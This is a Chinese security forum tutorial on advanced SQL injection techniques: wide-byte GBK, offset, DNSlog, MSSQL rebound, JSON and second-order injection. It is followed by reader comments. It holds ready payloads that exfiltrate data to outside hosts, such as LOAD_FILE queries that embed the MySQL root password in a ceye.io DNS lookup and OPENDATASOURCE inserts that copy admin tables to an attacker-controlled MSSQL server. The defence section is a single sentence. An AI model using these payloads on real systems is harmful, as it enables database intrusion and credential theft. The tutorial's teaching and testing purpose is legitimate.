尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)

我们就以gbk字符编码为例,拉开帷幕。GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。

例如:0xD50×5C 对应了汉字“誠”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。

宽字节:

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

宽字节SQL注入的原理:

宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入

例如说MySql的编码设置为了SET NAMES ‘gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

宽字节SQL注入就是PHP发送请求到MySql时使用了语句

SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

网站对GET、POST、Cookic传参中的特殊字符就行转义,但因为宽字节的原因,\反斜杠的url编码是%5c,拼上我们传参的%df,根据GBK编码,%df%5c是一个‘運’ ,就把\吃掉了。

可以看到,我们单引号闭合被转义掉了,and 1=2 也就不报错了。

图片

我们在单引号加上%df,报错了。

  1. %df%27 and 1=2-- qwe

图片

  1. %df%27 and 1=1-- qwe
  2. 返回正常了,接下来就正常注入。

图片

还有要注意的就是爆表名和字段名的时候,where table_schema、table_name等于库和表的时候,不能用到单引号和双引号。我们可以用子查询或者转十六进制。

  1. %df%27 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema= database() limit 0,1-- qwe

图片

  1. %df%27 and 1=2 union select 1,table_name,database() from information_schema.tables where table_schema= 0x7365637572697479 limit 0,1-- qwe

图片

图片

POST的情况下,发现它并没有吃掉\。

  1. %df' or 1=1 -- qwe

图片

抓包发现它有进行了一次url编码,我们把百分号改(%df’ or 1=1 — qwe)回来就行了。

图片

图片

或者我们用汉字也是行的,注意也不是全部汉字都行。

  1. ' or 1=1 -- qwe

图片

汉字‘一’就不行

  1. ' or 1=1 -- qwe

图片

其他的和联合注入一样。


偏移注入

使用场景:

在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。

当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了

表名.:意思是该表的所有字段,和之前注入的自带库的information_schema.tables差不多,只是自带库是具体到表,说的是information_schema库的tables表。也可以某库.某表.,就是某库的某表的全部字段。像下面就是查询users表中的所有字段的数据,

图片

偏移注入就是运用了这个,在网站补全字段的时候我们可以将补全字段加上我们想要查询表的所有字段刚等于要完全补全的字段,像下面abc表有9个字段,我们注入时用1,2,3,4,5,6加上users表中的所有字段(也就是3个字段),刚好9个字段,这样就不用知道字段名就可以查询出其他表中的数据了。但前提是网站查询的表字段要比其他表的多,越多越好。

图片

因为网站的回显点是不固定的,所以字段越多我们好移动users.,让我们想要的数据回显出来。像刚刚,假如d字段5是回显点,我们想知道账号密码,就要移动users.到5的位置,让它回显出来。像这样子,users.*每往前一个字段后面就补一个,要加起来刚好9个字段。

图片

这里是个cookie注入,需要写进去cookie,也是一个ACCESS数据库,只能猜表。

  1. document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
  2. 可以看到回显点有3个,其实图片还有一个。

图片

图片

我们不知道admin表有多少个字段,只能一个个字段减下去,直到网页回显正常。

  1. document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin")
  2. admin16个字段

图片

因为7比较明显,所以我就用7来显示数据。

  1. document.cookie="id="+escape("105 union select 1,2,3,4,5,6,admin.*,23,24,25,26 from admin")
  2. 显示了1,应该是id值。

图片

在往左移一个字段,查出了admin,应该是用户名。

图片

偏移注入不只是ACCESS数据库能用还可以在MySQL数据库使用。


DNSlog注入

DNSLOG的使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

DNSlog注入原理:

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

LOAD_FILE() 读取文件的函数:

读取文件并返回文件内容为字符串。要使用此函数:
1.文件必须位于服务器主机上
2.必须指定完整路径的文件
3.必须有FILE权限。 该文件所有字节可读
4.文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

图片

通过DNSlog注入需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取写入磁盘的目录。

2、当secure_file_priv为G:\,指定文件夹就可以对该文件夹读取写入,就可以读取G盘的文件。

3、当secure_file_priv为null,表示不允许读取写入,load_file就不能加载文件,。

图片

UNC路径:

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

\abc.xxx.com\abc -> 访问abc.xxx.com下的abc共享文件夹

DNSLOG平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

首先我们分配到这个域名:75icr7.ceye.io

图片

  1. 平台有个POCSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

图片

  1. 改成分配我们的域名:
  2. CONCAT:字符串拼接函数
  3. 中间的select是一个子查询,假如root用户的密码是root,那么这条语句就等同于
  4. SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');

数据库去访问root.75icr7.ceye.io的服务器下的共享文件夹abc
ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了

下面我们就查一下数据库试试:

  1. and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc')))
  2. 这里加上1.txt是因为有防火墙,利用它的特性绕过。

图片

数据库就出来了。

图片

下面查表和字段那些就不写了。


反弹注入

Mssql反弹注入是个堆叠注入,所以要进行反弹注入的前提是能进行堆叠注入。

Mssql反弹注入:

在注入的时候明明是sql注入点却无法进行注入,注入工具猜解速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是注入攻击中常遇到的问题。为了解决以上疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术需要依靠opendatasource函数支持

opendatasource函数:

功能:通过对象名称和连接信息对指定数据源进行访问。

语法:OPENDATASOURCE ( provider_name, init_string )

provider_name :

注册为用于访问数据源的 OLE DB 访问接口的 PROGID 的名称。provider_name 的数据类型为 char,无默认值。

用于连接字符串的访问接口名称。

图片

init_string:

数据库连接地址,数据库连接端口,连接的用户,密码,数据库。

opendatasource(‘sqloledb’,’server=数据库连接地址,1433;uid=连接的用户;

pwd=码;database=数据库’)

注入环境:

反弹注入实际上就是把查询出来的数据发到我们的MSSQL服务器上,那么我们就需要自己搭建MSSQL数据库和一个公网ip。也可以在网上找虚拟空间,然后虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取一个公网IP。

注意查询表的字段要和插入表的字段一致,也就是假如你要插叙某个表的全部数据,插入表的字段就要和查询表的字段一样多,如果不够,就要指定字段名刚好和插入表字段一样多。要不然无法插入数据,会报错。

像查询表名的时候,我们只想查询表名一个字段,在插入的表就创建一个字段。

  1. ';insert into opendatasource('sqloledb','server=*******,1433;uid=********;pwd=********;database=abcdqwe').abcdqwe.dbo.c select name from sysobjects where xtype='U' -- qwe
  2. 执行成功网页返回是正常的。

图片

我们插入了abcdqwe数据库的c表,查询一下,可以看到我们注入出来的表名。

图片

如果要像插入整个表的数据,就要和注入表相同字段。

  1. ';insert into opendatasource('sqloledb','server=*******,1433;uid=********;pwd=********;database=abcdqwe').abcdqwe.dbo.b select * from admin -- qwe

图片

图片


JSON注入

JSON:

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。

JSON语法:

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号保存对象
  • 中括号保存数组

JSON 值可以是:

数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:”yang”}
逻辑值(true 或 false) {“flag”:true }
数组(在中括号中){“sites”:[{“name”:”yang”},{“name”:”ming”}]}
对象(在大括号中)JSON 对象在大括号({})中书写:

null { “runoob”:null }
JSON注入和正常注入区别不大,就是要运用JSON的格式来传输参数。

图片

我们只需要在admin后面正常注入就行了。

图片

图片

图片

二次注入

二次注入,在首个sql插入语句的时候做了防护,但当某数据库语句再次调用插入的数据的时,因没有做防护,插入的数据和该语句进行了拼接,形成了注入。

我简单的写了一个靶场,插入数据的时候有预编译,但再次调用数据的查询语句没有进行处理。

图片

我们插一个单引号。

图片

单引号被插入了进数据表。

图片

当查询语句调用它的时候,网页就报错了。

图片

我们构造一个报错注入的语句,是不是就可以就行报错注入了。

图片

完整的插入了数据表

图片

爆出了当前数据库名。

图片

二次注入大概就是这个样子。


七、 SQL注入防护

函数转义/魔术引号,例如:addslashes函数;过滤关键字符;预编译;运用防火墙。

参考:

https://blog.csdn.net/a15803617402/article/details/82939202

https://xz.aliyun.com/t/253

https://mp.weixin.qq.com/s/xfu-P7EopJjVPIeMgpKheA

https://blog.csdn.net/qq_35569814/article/details/100517122

https://blog.csdn.net/qq_35569814/article/details/100528187

https://blog.csdn.net/weixin_39762423/article/details/99462050

https://www.cnblogs.com/-qing-/p/10951998.html

https://mp.weixin.qq.com/s/Hor7qN5XPRZuoxpOLQac3g

用户名金币积分时间理由
荒天帝 1.00 0 2020-07-22 15:03:38 精髓
奖励系统 100.00 0 2020-07-02 15:03:32 投稿满 10 赞奖励
奖励系统 50.00 0 2020-06-26 15:03:38 投稿满 5 赞奖励
Track-聂风 200.00 0 2020-06-22 16:04:17 总结好文 - Hi. 维他柠檬茶

打赏我,让我更有动力~

6 Reply   |  Until 2020-7-22 | 2019 View

qiushui
发表于 2020-6-22

多给点啊 风哥 我维他哥哥写了好久

评论列表

  • 加载数据中...

编写评论内容

mq
发表于 2020-6-24

我只想知道这个4466金币是多牛逼才能拿到了

评论列表

  • 加载数据中...

编写评论内容

urfyyyy
发表于 2020-6-26

维他哥哥真牛皮,能写这么多。不愧是当年拿到src第一名的男人

评论列表

  • 加载数据中...

编写评论内容

Track-mss
发表于 2020-7-2

借我抄一下

评论列表

  • 加载数据中...

编写评论内容

王铁柱
发表于 2020-7-15

睡一下 怕找不到

评论列表

  • 加载数据中...

编写评论内容

荒天帝
发表于 2020-7-22

此文只应天上有,人间哪得几回睹。

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.